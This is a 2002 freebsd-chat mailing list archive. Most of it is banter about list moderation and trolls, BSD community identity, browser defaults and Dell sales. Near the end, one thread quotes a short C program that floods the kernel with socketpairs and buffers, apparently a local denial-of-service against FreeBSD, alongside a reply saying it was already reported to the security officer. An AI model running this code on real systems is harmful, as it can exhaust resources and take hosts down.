moderation which has been suggested recently is the > >> > moderation of the FreeBSD-security list. > >> > >> Yes. Hopefully that issue will subside. > > > > It will only happen if the trolling subsides first. > > Baiting the trolls, are we? No. I expect the issue to escalate to the point where what you call "classic" moderation will occur... unless a better alternative is offered. > > "Human being" is a definition that encompasse both genetics and > > programming. If someone lacks the proper programming, then by > > definition, they are merely homo sapiens, not human beings. > > Nice dodge. ;) Not a dodge. My Uncle-by-marriage's sister is the person who dispenses Charles Manson's medication. Some people yanked out out their interface cables before the programming was complete. > >> This is such a straw man. Did you really read my site? Speaking, > >> without an audience, is not speaking in the sense that the "right to > >> speak" implies. I will concede that the audience has a right to > >> ignore you... > > > > If I am a newspaper reporter, do I have the right to ignore you? > > Not if I have the Dallas Cowboy Cheerleaders at gunpoint. ;) I can still ignore what you have to say, and report on the whack-job with the famous hostages... > > Someone forced you to subscribe to the FreeBSD mailing lists, > > at gunpoint? > > Not at gunpoint, but I do have over 35 active FreeBSD systems > to care for...I think there's an imperative there don't you? So what information pertinent to that situation are you getting from the "FreeBSD is Dead" trolls? > > Part of its perfection is that there would be an immune response > > that made the troll go away. > > Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, > not yours.) Hey, if it worked... but it wouldn't. Of course, since it's your utopia, the dream can come out any way you want it to, so long as you eventually wake up. > > The noosphere is not bounded to a finite competitive resource > > domain, as you keep implying with your "move to an island" > > analogy. > > I'll grant you finitely uncountable, but really the limit is > in how long you have to peruse it. Not long. You have filters, right? > > It suits me to not put myself in either of these positions. > > The difference between you and I is, I can operate independent of > my axioms. Sometimes without thought even. If I'm lucky, complete > mental shutdown. You may as well be a puppet, if you give them that much control over you. > >> You cannot classify the streams so efficiently as to demand that > >> one or three postings in a month be removed from the stream. > > > > Are you claiming "it cannot be done", or "Terry, personally, is not > > capable of the feat", or "Dave Hayes is not capable of the feat, > > therefore no one else is". Be careful how you answer... > > As the limit of time approaches infinity, you can't. ;) Functionally decompose the problem space, and distribute the processing. You're asking the same thing of personal filtering, only you are asking it of a multiplicity equivalent to the fan out for a given mailing list. Mailing lists are not usenet. They are push model, not pull model. It is a mistake to treat a set of mailing lists as if it were a small Usenet server. > > We are not arguing the advisability of filtering, per se. We are > > merely arguing *where* the filtering should be enacted. My argument > > is that the filtering should be enacted where the costs are least, > > and your argument is that the filtering should be enacted where the > > costs are greatest. > > Yes, and for very good reason. Personally, I don't want someone else > determining what I will and will not see. I'm sure you can agree that > the most honorable thing to do is allow people to create their own > filters? Or to choose their own filters, by choosing to which mailing lists they subscribe. The control is still yours. > Question all you like. Hell, everyone else does. I claim that if you > question this, you are unknowingly dishonoring lots of people. Why is > the internet only for the academic or the rich? What's wrong with > some guy from inner LA talking to someone at Harvard? Not a damn > thing. For the noosphere to represent the entire thought space of > mankind, everyone has to have their ability to contribute. I have no problem with someone from inner LA talking to someone from Harvard, so long as they both agree to participate. > > Wrong. Email sent to a list has a multiplicative effect. > > Nonsense. Email sent to a list is a subset of all email sent, for any > unit of time you want to greater than the time it takes to send one > email message to the list. Mailing lists are push model. They are not Usenet. Stop pretending they are. > > Laying aside the argument that I have not been advocating moderating, > > now you are merely arguing your own convenience. It would be easy > > to set up a system where there were tiered offerings, e.g.: > > Your offerings violate your own assertion about computational expenses. No. The freebsd-hackers@freebsd.org list, in my example, would enforce topicality of postings. > >> > It didn't force me to post. I chose to post, in response. > >> > >> It is that choice to which I referred to above. > > > > "Responding" != "lobbing the first volley". > > In the sense I meant "responding" yes it does equal. You didn't have > to respond to me. You chose to. So take responsibility for initiating > this entire diatribe. You could have just ignored me... You could have just ignore my response. So by your argument, you should take responsibility for initiating this entire diatribe. > > It's implicit. Trolls are by definition, off-topic. > > Where does it say this explicitly? ;) http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/eresources.html > > No. What justified is self defense, either by an individual or > > a society. Some defenses are merely more effective than others. > > So if someone is chopping the hedges on your side of the fence, > and you blow him away with a 12-gauge shotgun, it's ok because > it was effective? If they cart you off to prision, and in two years someone buys the house next door, and chops the hedges on your side of the fence, then it wasn't effective. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 6:39:33 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7333337B400 for ; Mon, 2 Sep 2002 06:39:30 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1D49343E42 for ; Mon, 2 Sep 2002 06:39:30 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0039.cvx40-bradley.dialup.earthlink.net ([216.244.42.39] helo=mindspring.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lrQO-0005qU-00; Mon, 02 Sep 2002 06:39:28 -0700 Message-ID: <3D7369D4.3088B629@mindspring.com> Date: Mon, 02 Sep 2002 06:38:28 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209021147.g82BlW157571@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > There are people who can not do this. I would prefer to have the > > contributions of those people, than the participation of the trolls. > > If I must lose one or the other, let it be the trolls. > > I feel exactly the opposite. If someone can't hit a key on the > keyboard and render the troll powerless, I don't want to be held > hostage to their choices. Good riddance. You're not held hostage to their choices. Feel free to subscribe to other lists as well. > Well, people would focus on not being rich. Then they'd be unhappy. > What good is a BMW if you cant brag to your friends because they > all have one too? ;) The same good it was when you *could* brag: it is a means of getting from point A to point B. > > You lack of curiousity and determination marks you. > > There's a misread. I don't lack these things at all. What made you say > this? You said "I can live with some things being unknowable". -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 7:52: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 64A3237B400 for ; Mon, 2 Sep 2002 07:52:03 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id CAD1343E4A for ; Mon, 2 Sep 2002 07:52:02 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 28131 invoked by uid 417); 2 Sep 2002 14:52:01 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 2 Sep 2002 14:52:01 -0000 Received: from planb ([216.194.22.24]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Mon, 02 Sep 2002 08:52:00 -0600 Date: Mon, 2 Sep 2002 10:51:18 -0400 From: Joshua Lee To: Terry Lambert Cc: dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Message-Id: <20020902105118.21bffb18.yid@softhome.net> In-Reply-To: <3D72E44E.CB303FAE@mindspring.com> References: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> <3D72E44E.CB303FAE@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Sun, 01 Sep 2002 21:08:46 -0700 Terry Lambert wrote: > The BSD community is roughly self-assembled around the issue of > license, just as the Linux community is roughly self-assembled > around the issue of license. Funny, I always thought the self-assembling of the community was around the fact that BSD is the best Unix-based OS available, not because of the license which is only a small part of why its the best. :-) Then again, I'm a hacker, not a lawyer or philosopher. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 8:18:23 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D011637B400 for ; Mon, 2 Sep 2002 08:18:19 -0700 (PDT) Received: from falcon.mail.pas.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6C5B943E65 for ; Mon, 2 Sep 2002 08:18:19 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0039.cvx40-bradley.dialup.earthlink.net ([216.244.42.39] helo=mindspring.com) by falcon.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lsy1-0002HA-00; Mon, 02 Sep 2002 08:18:17 -0700 Message-ID: <3D7380EE.A37DFF03@mindspring.com> Date: Mon, 02 Sep 2002 08:17:02 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Joshua Lee Cc: dave@jetcafe.org, chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> <3D72E44E.CB303FAE@mindspring.com> <20020902105118.21bffb18.yid@softhome.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Joshua Lee wrote: > > The BSD community is roughly self-assembled around the issue of > > license, just as the Linux community is roughly self-assembled > > around the issue of license. > > Funny, I always thought the self-assembling of the community was around > the fact that BSD is the best Unix-based OS available, not because of > the license which is only a small part of why its the best. :-) Then again, > I'm a hacker, not a lawyer or philosopher. Every Open Source OS advocate thinks that's how their community came about. Actually, that belief is an emergent property of people who have already selected a community. It's an effective defense against "buyer's remorse". It's not limited to Open Source Software; it's also something you see with regard to car brands, or, in extremis, specific makes and models. The real question is "Why did you subscribe to the mailing list?"; that was the decision that self-selected you into the community (at least as long as your answer isn't "to harvest email addresses" or "to troll"... 8-)). It's like the initial confusion about web browsers: they were going to "guide" (read: "control") your "Internet experience" (read: "where you point your eyeballs"), and depend on resetting the default home page to some portal-play site, when you installed the browser. Everyone bought into this; even the Netscape that was shipped on the Whistle InterJet as part of the software you could install, because the InterJet was a network gateway, was eventually adulterated to point at some IBM portal site. Never mind that it was a dialup device, and by pointing the initial browser page to the net, you forced the link up any time someone started a browser (in much the same way that starting Netscape Mail brings up the "Start Center" page in the message display portion of the screen, and forces your link up). What actually happened is that people picked their own home pages; a lot of them picked "about:" or "blank:" or "intranet": things that did not bring the link up. The pertinent take-away from this is that you can't pick people's Schelling points for them: they will pick what they will pick, and the only "stickeyness" will be as a result of a reluctance to admit that their first decision was not optimal... which people are really reluctant to admit. Actually, there would be a huge business model in stomping the registry entrys for all browsers default start pages to your own portal site, each time you run, if the whole idea of forced Schelling points worked. McAffe would be giving away their anti-virus software to get loaded into your system tray each time you booted windows, so they could sell your eyeballs to the highest bidder. Fortunately, people don't actually work that way. 8-). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 10:20:25 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 485B137B400 for ; Mon, 2 Sep 2002 10:20:23 -0700 (PDT) Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id C8B8643E4A for ; Mon, 2 Sep 2002 10:20:22 -0700 (PDT) (envelope-from lomifeh@earthlink.net) Received: from [68.39.202.147] (bgp586692bgs.jdover01.nj.comcast.net [68.39.202.147]) by mtaout05.icomcast.net (iPlanet Messaging Server 5.1 HotFix 0.8 (built May 13 2002)) with ESMTP id <0H1T001G9MT0XX@mtaout05.icomcast.net> for chat@freebsd.org; Mon, 02 Sep 2002 13:19:50 -0400 (EDT) Date: Mon, 02 Sep 2002 13:19:47 -0400 From: Lawrence Sica Subject: Re: Why did evolution fail? In-reply-to: <3D732AE4.47255E72@mindspring.com> To: Terry Lambert , Dave Hayes Cc: chat@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT User-Agent: Microsoft-Entourage/10.1.0.2006 Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On 09/02/02 05:09 AM, "Terry Lambert" wrote: > Dave Hayes wrote: >> The existence of the numinous implies the existence of it's opposite. >> That way lies the dark side. The trick is to become one with the >> universe, then speak at the level of people's understanding. ( This >> would be a herculean feat for you, oh master of the pleonastic. ;) ) > > What did the Buddist say to the hot dog vendor? 8-). > Make me one with everything *chikka* *chikka* *bow wow* --Larry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 10:34:15 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E0C7337B400 for ; Mon, 2 Sep 2002 10:34:09 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id 53F8943E3B for ; Mon, 2 Sep 2002 10:34:09 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 29596 invoked by uid 417); 2 Sep 2002 17:34:02 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 2 Sep 2002 17:34:02 -0000 Received: from planb ([216.194.22.24]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Mon, 02 Sep 2002 11:33:59 -0600 Date: Mon, 2 Sep 2002 13:33:18 -0400 From: Joshua Lee To: Terry Lambert , chat@freebsd.org Subject: Re: Why did evolution fail? Message-Id: <20020902133318.404b831f.yid@softhome.net> In-Reply-To: <3D7380EE.A37DFF03@mindspring.com> References: <200209011802.g81I2N144217@hokkshideh2.jetcafe.org> <3D72E44E.CB303FAE@mindspring.com> <20020902105118.21bffb18.yid@softhome.net> <3D7380EE.A37DFF03@mindspring.com> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Mon, 02 Sep 2002 08:17:02 -0700 Terry Lambert wrote: > Joshua Lee wrote: > > > The BSD community is roughly self-assembled around the issue of > > > license, just as the Linux community is roughly self-assembled > > > around the issue of license. > > > > Funny, I always thought the self-assembling of the community was > > around the fact that BSD is the best Unix-based OS available, not > > because of the license which is only a small part of why its the > > best. :-) Then again, I'm a hacker, not a lawyer or philosopher. > > Every Open Source OS advocate thinks that's how their community > came about. Actually, that belief is an emergent property of Actually, BSD came about because of a need for utilities and for a virtual memory Unix on the VAX. The license issue attraction is definitely one that developed later, and has little if any to do with why I run BSD. > people who have already selected a community. It's an effective > defense against "buyer's remorse". It's not limited to Open > Source Software; it's also something you see with regard to car > brands, or, in extremis, specific makes and models. I mostly joined this particular FreeBSD mailing list (as opposed to the more technical lists, though I have fun with those too) for fun. I've always enjoyed freewheeling technical discussions ever since FidoNet (don't laugh ;-) ) and Usenet, the latter of which I also used when many of the sites including the one I used, ukelele, still got feeds via uucp, though I think you're more than an old-timer than me. > The real question is "Why did you subscribe to the mailing list?"; I joined -chat so I could follow redirected off-topic discussions and so I could talk with people I had something in common with; BSD. (I joined the other lists of course for technical content and the pleasure of helping out those who are even more clueless than myself. :-) ) > It's like the initial confusion about web browsers: they were going > to "guide" (read: "control") your "Internet experience" (read: "where > you point your eyeballs"), and depend on resetting the default home > page to some portal-play site, when you installed the browser. Mozilla doesn't do that, but I don't like *its* default either. :-) > same way that starting Netscape Mail brings up the "Start Center" > page in the message display portion of the screen, and forces your > link up). That sounds annoying, remind me never to use Netscape Mail. > What actually happened is that people picked their own home pages; > a lot of them picked "about:" or "blank:" or "intranet": things > that did not bring the link up. Actually, from what I've seen in supporting non-technical users, the kind that never would touch BSD (other than OS X :-) ), is that most people don't reconfigure that. > and the only "stickeyness" will be as a result of a reluctance to > admit that their first decision was not optimal... which people > are really reluctant to admit. Most people actually don't change their browser's homepage because they don't know the first thing about how to do that. I've had to explain to many users how to find a file on their hard drive, that's the level of over 40% of today's computer users according to a recent survey incidentally. Using the defaults has nothing to do with if they are rationalizing a taste for www.msn.com or not. Does anyone consider www.msn.com to be their favorite website?! (That's even a more scary thought to me than 40% of computer users not quite knowing what a file directory is.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 10:34:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 10F9E37B400 for ; Mon, 2 Sep 2002 10:34:40 -0700 (PDT) Received: from Surfa.SineWave.com (surfa.SineWave.com [192.171.80.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id 57F9343E42 for ; Mon, 2 Sep 2002 10:34:39 -0700 (PDT) (envelope-from cassiel@dis.org) Received: from loki.dis.org (d-0023.SineWave.com [192.171.82.23]) by Surfa.SineWave.com (8.9.3/8.9.3) with ESMTP id KAA09269 for ; Mon, 2 Sep 2002 10:34:31 -0700 Message-Id: <5.1.0.14.0.20020902103208.02c32940@dis.org> X-Sender: cassiel@dis.org X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 02 Sep 2002 10:35:30 -0700 To: chat@FreeBSD.ORG From: Cassiel Subject: Re: Why did evolution fail? In-Reply-To: References: <3D732AE4.47255E72@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org At 10:19 9/2/2002, Lawrence Sica wrote: >On 09/02/02 05:09 AM, "Terry Lambert" wrote: > > > Dave Hayes wrote: > > > > > What did the Buddist say to the hot dog vendor? 8-). > > > >Make me one with everything And the vendor handed him the hot dog, and pocketed the twenty that the Buddhist gave him, and the Buddhist asked "Where is my change?" And the vendor replied; "Change must come from within." Cassiel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 10:38:27 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4098037B400 for ; Mon, 2 Sep 2002 10:38:25 -0700 (PDT) Received: from jive.SoftHome.net (jive.SoftHome.net [66.54.152.27]) by mx1.FreeBSD.org (Postfix) with SMTP id AAFEA43E65 for ; Mon, 2 Sep 2002 10:38:24 -0700 (PDT) (envelope-from yid@softhome.net) Received: (qmail 9505 invoked by uid 417); 2 Sep 2002 17:38:24 -0000 Received: from shunt-smtp-out-0 (HELO softhome.net) (172.16.3.12) by shunt-smtp-out-0 with SMTP; 2 Sep 2002 17:38:24 -0000 Received: from planb ([216.194.22.24]) (AUTH: LOGIN yid@softhome.net) by softhome.net with esmtp; Mon, 02 Sep 2002 11:38:22 -0600 Date: Mon, 2 Sep 2002 13:37:41 -0400 From: Joshua Lee To: RichardH Cc: lomifeh@earthlink.net, chat@FreeBSD.ORG Subject: Re: new subject- office stuff Message-Id: <20020902133741.021f32ea.yid@softhome.net> In-Reply-To: <5.1.0.14.0.20020829002021.00add248@mail.storm2k.wsonline.net> References: <5.1.0.14.0.20020829000049.00ad4bc0@mail.storm2k.wsonline.net> <5.1.0.14.0.20020829002021.00add248@mail.storm2k.wsonline.net> Organization: Plan B Software Labs X-Mailer: Sylpheed version 0.8.2claws (GTK+ 1.2.10; i386-portbld-freebsd4.6) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Thu, 29 Aug 2002 00:25:21 -0600 RichardH wrote: > OO seems to be good for some people here and others cannot get it > running. Supposedly patching it fixes it but there is no clear > documentation for the exact steps to do it (in mail list archives at Maybe cvsuping your ports tree will set up the patches for you. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 13:29:26 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F0B937B400 for ; Mon, 2 Sep 2002 13:29:22 -0700 (PDT) Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id B20A743E65 for ; Mon, 2 Sep 2002 13:29:21 -0700 (PDT) (envelope-from ryan@sasknow.com) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.11.6/8.11.6) with ESMTP id g82KT3d93161; Mon, 2 Sep 2002 14:29:03 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Mon, 2 Sep 2002 14:29:03 -0600 (CST) From: Ryan Thompson To: Doug White Cc: Eric Anderson , Clifton Royston , Subject: Re: [long] Server motherboard recommendations for 4.X/5.X? In-Reply-To: <20020901154525.X5949-100000@carver.gumbysoft.com> Message-ID: <20020902140418.X89001-100000@ren.sasknow.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Doug White wrote to Eric Anderson: > On Fri, 30 Aug 2002, Eric Anderson wrote: > > > Has anyone recommended Dell stuff? I'm sure they'll have > > something that fits you. I use all kinds of their stuff for > > FreeBSD, and the the RAID controllers are supported in FreeBSD > > easily. > > Not really ... I just evaled a PowerEdge 2650 and a 1650. > > [...] > > I can't recommend Dell at this time... Agreed. Last time I talked to one of their Senior Sales Reps (about 6 weeks ago), ready to start an account where I'd be purchasing 10-15 units/month, it was quite a conversation. The last part of it went something like this: Dell: "No, we don't give volume discounts on the PE350s. I don't care if you buy 1,000." Me: "That doesn't help me sell servers" Dell: "Why not? [Dell is so good]" Me: "If my customers can buy one server for the same unit price I can buy 1,000, why would they buy from me?" Dell: "[Because Dell is so good]" Me: "I've received quotes from other system builders for less than 2/3 of these prices, for better hardware" Dell: "Probably a 'clone'. [Clones suck, Dell is so good]" Me: "Your systems use most of the same hardware" Dell: "Oh?" Me: "Yeah, many of your hard drives come from IBM, CPUs are Intel or AMD, and the chipsets on your motherboards are fairly standard, etc, etc.." Dell: "We make our own motherboards" Me: "So they're proprietary" Dell: "No, they're Dell certified. Maybe Dell isn't for you" Me: [Laugh] "Obviously. Thanks for the insightful dialogue" Dell: "Thanks for choosing Dell" I am now mostly building my own systems again. :-) - Ryan -- Ryan Thompson SaskNow Technologies - http://www.sasknow.com 901 1st Avenue North - Saskatoon, SK - S7K 1Y4 Tel: 306-664-3600 Fax: 306-244-7037 Saskatoon Toll-Free: 877-727-5669 (877-SASKNOW) North America To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 14:15:45 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 07D9937B400 for ; Mon, 2 Sep 2002 14:15:36 -0700 (PDT) Received: from web12904.mail.yahoo.com (web12904.mail.yahoo.com [216.136.174.71]) by mx1.FreeBSD.org (Postfix) with SMTP id 813EE43E4A for ; Mon, 2 Sep 2002 14:15:35 -0700 (PDT) (envelope-from bad_dot_c@yahoo.com) Message-ID: <20020902211535.90147.qmail@web12904.mail.yahoo.com> Received: from [24.226.97.66] by web12904.mail.yahoo.com via HTTP; Mon, 02 Sep 2002 22:15:35 BST Date: Mon, 2 Sep 2002 22:15:35 +0100 (BST) From: =?iso-8859-1?q?Ivan=20Streetovich?= Subject: Re: From: Ivan Streetovich, Japan To: Benjamin Krueger , chat@freebsd.org, security@freebsd.org In-Reply-To: <20020902015252.G64882@mail.seattleFenix.net> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --- Benjamin Krueger wrote: > * Ivan Streetovich (bad_dot_c@yahoo.com) [020901 > 23:15]: > > > > > > > > __________________________________________________ > > Do You Yahoo!? > > Everything you'll ever need on one web page > > from News and Sport to Email and Music Charts > > http://uk.my.yahoo.com > > Date: Mon, 2 Sep 2002 07:05:52 +0100 (BST) > > From: Ivan Streetovich > > Subject: From: Ivan Streetovich, Japan > > To: security@freebsd.com > > > > #define BUFFERSIZE 204800 > > extern int > > > > /* Released by Ivan Streetovich, Japan * > > * Causes problems on FreeBSD */ > > > > main(void) > > { > > int p[2], i; > > char crap[BUFFERSIZE]; > > while (1) > > { > > if (socketpair(AF_UNIX, > SOCK_STREAM, > > 0, p) == -1) > > break; > > i = BUFFERSIZE; > > setsockopt(p[0], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[0], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_RCVBUF, &i, sizeof(int)); > > setsockopt(p[1], SOL_SOCKET, > > SO_SNDBUF, &i, sizeof(int)); > > fcntl(p[0], F_SETFL, O_NONBLOCK); > > fcntl(p[1], F_SETFL, O_NONBLOCK); > > write(p[0], crap, BUFFERSIZE); > > write(p[1], crap, BUFFERSIZE); > > } > > exit(0); > > } > > This problem (and this exact source code, funnily > enough. Are you sure you > released it?) has already been reported to the > security-officer and is > (afaik) being addressed by the developers. =) > > -- > Benjamin Krueger > > "Everyone has wings, some folks just don't know what > they're for" > - B. Banzai > ---------------------------------------------------------------- > Send mail w/ subject 'send public key' or query for > (0x251A4B18) > Fingerprint = A642 F299 C1C1 C828 F186 A851 CFF0 > 7711 251A 4B18 i got first, was sent SO from x-friend __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 14:33:14 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 663F037B49A; Mon, 2 Sep 2002 14:33:03 -0700 (PDT) Received: from mail.seattleFenix.net (seattleFenix.net [216.39.145.247]) by mx1.FreeBSD.org (Postfix) with ESMTP id 94E1343E42; Mon, 2 Sep 2002 14:33:02 -0700 (PDT) (envelope-from roo@mail.seattleFenix.net) Received: (from roo@localhost) by mail.seattleFenix.net (8.11.6/8.11.6) id g82LVSg76426; Mon, 2 Sep 2002 14:31:28 -0700 (PDT) (envelope-from roo) Date: Mon, 2 Sep 2002 14:31:28 -0700 From: Benjamin Krueger To: Ivan Streetovich Cc: Benjamin Krueger , chat@freebsd.org, security@freebsd.org Subject: Re: From: Ivan Streetovich, Japan Message-ID: <20020902143128.J64882@mail.seattleFenix.net> References: <20020902015252.G64882@mail.seattleFenix.net> <20020902211535.90147.qmail@web12904.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020902211535.90147.qmail@web12904.mail.yahoo.com>; from bad_dot_c@yahoo.com on Mon, Sep 02, 2002 at 10:15:35PM +0100 X-PGP-Key: http://www.macguire.net/benjamin/public_key.asc Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org * Ivan Streetovich (bad_dot_c@yahoo.com) [020902 14:14]: > --- Benjamin Krueger > wrote: > * Ivan Streetovich (bad_dot_c@yahoo.com) > [020901 > > 23:15]: > > > > This problem (and this exact source code, funnily > > enough. Are you sure you > > released it?) has already been reported to the > > security-officer and is > > (afaik) being addressed by the developers. =) > > > > -- > > Benjamin Krueger > > i got first, was sent SO from x-friend Interesting. I recieved a copy on Thursday night 